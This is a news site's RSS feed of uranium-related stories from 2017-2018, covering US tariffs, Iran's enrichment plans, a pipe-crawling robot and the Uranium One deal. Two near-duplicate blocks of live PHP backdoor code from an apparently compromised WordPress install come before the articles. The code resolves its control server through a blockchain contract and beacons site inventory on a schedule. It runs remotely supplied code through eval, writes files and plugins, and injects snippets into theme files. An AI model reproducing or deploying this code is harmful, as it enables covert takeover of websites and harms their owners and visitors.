// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); uranium – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 23 Jul 2018 10:34:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png uranium – Brief News https://briefnews.eu 32 32 US considers tariffs on uranium imports https://briefnews.eu/us-considers-tariffs-on-uranium-imports/ https://briefnews.eu/us-considers-tariffs-on-uranium-imports/#respond Mon, 23 Jul 2018 10:34:02 +0000 http://briefnews.eu/us-considers-tariffs-on-uranium-imports/

Enlarge / Rail trucks loaded with uranium ore wait for transportation at the uranium mine operated by Geam, a division of Diamo S.P. mining company, in Rozna, Czech Republic, on Monday, Dec. 13, 2010. Photographer: Vladimir Weiss/Bloomberg via Getty Images (credit: Getty Images)

This week, the US Department of Commerce opened an investigation into the nature of uranium imports, ostensibly with an eye to imposing tariffs on ore and other uranium products.

Uranium is used in the production of nuclear energy, and currently only five percent of uranium used in the US nuclear energy industry comes from the US. The remaining 95 percent is imported from a variety of countries, with Canada leading, followed by Australia, Russia, and Kazakhstan.

The investigation announcement invokes Section 232 of the Trade Expansion Act, which allows the federal government to assess imports on the basis of national security. Section 232 has been seldom used since it was signed by President John F. Kennedy in 1962, but it was used most recently this March by the Trump administration to levy tariffs on steel and aluminum.

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]]> https://briefnews.eu/us-considers-tariffs-on-uranium-imports/feed/ 0 Iran’s move toward uranium enrichment is message to EU to stand up to US, but it might be too late https://briefnews.eu/irans-move-toward-uranium-enrichment-is-message-to-eu-to-stand-up-to-us-but-it-might-be-too-late/ https://briefnews.eu/irans-move-toward-uranium-enrichment-is-message-to-eu-to-stand-up-to-us-but-it-might-be-too-late/#respond Fri, 08 Jun 2018 20:11:24 +0000 http://briefnews.eu/irans-move-toward-uranium-enrichment-is-message-to-eu-to-stand-up-to-us-but-it-might-be-too-late/ Iran’s move to get ready to enrich uranium is an attempt to send a message to Europe, encouraging it to resist US pressure to abandon the nuclear deal, experts told RT. But Germany, France and the UK might be ready to give up.

On Monday, Iran announced it’s moving to “upgrade” its uranium enrichment facility in Natanz, which was suspended under the landmark 2015 agreement.

“Our enemies will never be able to halt our nuclear progress…It is their bad dream and will not happen,” Supreme Leader Ayatollah Ali Khamenei said in a televised speech. “I have ordered Iran’s atomic energy agency to be prepared to upgrade our (uranium) enrichment capacity.”

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© Clodagh Kilcoyne

Following the statement from the top leader, the country promptly began preliminary works to build advanced uranium enrichment centrifuges. The facility that is set to house 60 devices is expected to be ready in a month, the head of Iran’s Atomic Energy Organization Ali Akbar Salehi told state television on Wednesday.

While the decision to get the centrifuges ready did not violate the 2015 agreement, officially known as the Joint Comprehensive Plan of Action (JCPOA), it was actually a message to the Europeans to stand up to US pressure and stick to the deal, senior fellow with the Institute of Oriental Studies Irina Fedorova believes.

“The order from the Supreme Leader to launch the centrifuges so far corresponds with the restrictions outlined in the agreement on the Iranian nuclear program,” Fedorova told RT. “Naturally, it can be perceived as a warning to the signees of the deal and other countries, that if the deal is broken – not only by the US, but by the others –Iran can begin the uranium enrichment process. Launch of the centrifuges is not the start of full-scale uranium enrichment.”

The message came while the arguments around the 2015 nuclear deal have reached a boiling point, as Donald Trump continues to pressure his European allies into following him in abandoning the deal. The Iranian issue can become, in fact, a bargaining chip to maneuver around other outstanding issues, such as the steel and aluminum tariffs recently implemented by the US, Fedorova said.

The European signees of the deal might de-jure stay in the agreement, but if the European companies, which already started to leave Iran’s market, abandon it completely, the deal will effectively be void.

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Iranian women carry anti-US signs during a demonstration outside the former US embassy in Tehran © ATTA KENARE

“It might happen that even if France, Germany, Great Britain and other signees won’t reject the agreement with Iran officially, their companies will pull out from Iran and it will lose the economic advantages of this deal, which basically were Iran’s goal when it was signed,” Fedorova stated.

The announced move did not violate the deal and was designed to send a message to other signees of the agreement, deputy director of Centre of strategic estimations and forecasts Igor Pankratenko said. The expert, however, doubts if it would be actually possible to influence the EU countries.

“What Ali Akbar said was aimed at the concrete capitals – London, Paris, Berlin. Moreover, he actually tried to help them with this statement, providing them with a new argument – like look, we’re destroying the agreement, everything starts from the very beginning, we return back to 2015,” Pankratenko told RT. “But the problem is, in my opinion, that in London, Paris and Berlin they’ve already decided that the deal is dead.”

The last hope to “more or less” save the agreement comes from China, Pankratenko believes, saying that if one of the world’s strongest economies maintains its obligations, Tehran might also abstain from resuming full-scale enrichment activities.

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]]> https://briefnews.eu/irans-move-toward-uranium-enrichment-is-message-to-eu-to-stand-up-to-us-but-it-might-be-too-late/feed/ 0 Want to demolish a uranium enrichment facility? Ask a pipe-crawling robot first https://briefnews.eu/want-to-demolish-a-uranium-enrichment-facility-ask-a-pipe-crawling-robot-first/ https://briefnews.eu/want-to-demolish-a-uranium-enrichment-facility-ask-a-pipe-crawling-robot-first/#respond Sun, 25 Mar 2018 19:59:38 +0000 http://briefnews.eu/want-to-demolish-a-uranium-enrichment-facility-ask-a-pipe-crawling-robot-first/

Enlarge / “RadPiper is a robot developed by the Carnegie Mellon University Robotics Institute for the Department of Energy,” the university wrote. “The treaded robot moves within the pipes of uranium-enrichment facilities to determine areas where radiation levels may pose a hazard.” (credit: Carnegie Mellon University)

A government facility in Piketon, Ohio produced enriched uranium between 1954 and 2001 for both energy and weapons-grade purposes. Several years ago, the Department of Energy (DOE) and a third-party contractor, Fluor-BWXT, began decommissioning the plant.

But now a new set of “hands” is being brought in to speed up the work. Well, not hands exactly, but a radiation sensor and a pair of flexible tracks. A small pipe-crawling robot named RadPiper will be unleashed in 15 of the 75 miles of pipes that were once used to make enriched uranium through a gaseous diffusion process.

According to a press release from Carnegie Mellon, each one-foot segment of pipe needs to have radiation measurements taken to rule out any potentially hazardous amounts of uranium-235 still left over in the pipes. If RadPiper discovers a hazardous section of pipe, it has to be removed and decontaminated. Clean sections of piping can remain in place and will be demolished with the rest of the building.

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]]> https://briefnews.eu/want-to-demolish-a-uranium-enrichment-facility-ask-a-pipe-crawling-robot-first/feed/ 0 If Trump pulls the US out of the Iran deal, Iran says it can start enriching uranium in 2 days https://briefnews.eu/if-trump-pulls-the-us-out-of-the-iran-deal-iran-says-it-can-start-enriching-uranium-in-2-days/ https://briefnews.eu/if-trump-pulls-the-us-out-of-the-iran-deal-iran-says-it-can-start-enriching-uranium-in-2-days/#respond Mon, 05 Mar 2018 13:10:57 +0000 http://briefnews.eu/if-trump-pulls-the-us-out-of-the-iran-deal-iran-says-it-can-start-enriching-uranium-in-2-days/ Iran nuclearAP Photo/Iranian Presidency Office, Mohammad Berno

ANKARA (Reuters) – Iran said on Monday it could produce higher enriched uranium within two days if the United States quit a 2015 nuclear deal between Tehran and six major powers, Tehran’s Arabic language al-Alam TV reported.

“If America pulls out of the deal … Iran could resume its 20 percent uranium enrichment in less than 48 hours,” Behrouz Kamalvandi, spokesman for the Atomic Energy Organisation of Iran, told al-Alam TV.

See the rest of the story at Business Insider

NOW WATCH: Why North Korea sent hundreds of cheerleaders to the Olympics

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SEE ALSO: Kim Jong Un meets with South Korean officials for historic talks in Pyongyang

]]> https://briefnews.eu/if-trump-pulls-the-us-out-of-the-iran-deal-iran-says-it-can-start-enriching-uranium-in-2-days/feed/ 0 US federal prosecutors to 'evaluate' Clinton's alleged corruption role in Russian uranium deal https://briefnews.eu/us-federal-prosecutors-to-evaluate-clintons-alleged-corruption-role-in-russian-uranium-deal/ https://briefnews.eu/us-federal-prosecutors-to-evaluate-clintons-alleged-corruption-role-in-russian-uranium-deal/#respond Tue, 14 Nov 2017 15:13:40 +0000 http://briefnews.eu/us-federal-prosecutors-to-evaluate-clintons-alleged-corruption-role-in-russian-uranium-deal/

Attorney General Jeff Sessions has directed federal prosecutors to “evaluate certain issues” involving Hillary Clinton’s alleged corruption in a deal which gave Russian company Rosatom control over 20 percent of America’s uranium supply.

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© Win McNamee / Getty Images

In a letter to House Judiciary Committee Chairman Bob Goodlatte (R-VA), Assistant Attorney General Stephen Boyd wrote that Sessions “has directed senior federal prosecutors to evaluate certain issues raised in your letters.”

The letters referenced – written by Goodlatte – were dated July 27 and September 26, and included requests by him and other committee members that a special counsel be appointed to investigate certain matters, some of which involved Clinton, according to Fox News.

Among the issues raised was the 2010 Uranium One deal, approved by Clinton when she served as secretary of state in President Barack Obama’s administration. That deal involved selling part of a Canadian-based mining company to Rosatom, resulting in the company acquiring control over 20 percent of America’s uranium supply.

Some Republicans, including President Donald Trump, have claimed – without providing evidence – that Russian interests sought to donate to the Clinton Foundation in a bid to persuade Clinton to support the deal.

Trump has claimed that Clinton was “paid a fortune” to facilitate the sale, and has slammed the “fake media” for ignoring “one of the big stories of the decade.”

Those claims have been denied by Clinton, who called them “baloney” and said there has been “no credible evidence [presented] by anyone.”

Prosecutors will be assigned to the matters as requested, according to the letter, and will report to Sessions and Deputy Attorney General Rod Rosenstein. In particular, they will “make recommendations as to whether any matters not currently under investigation should be opened,” or whether a special counsel will be needed, states the letter, which was delivered ahead of a committee oversight hearing at which Sessions will appear on Tuesday.

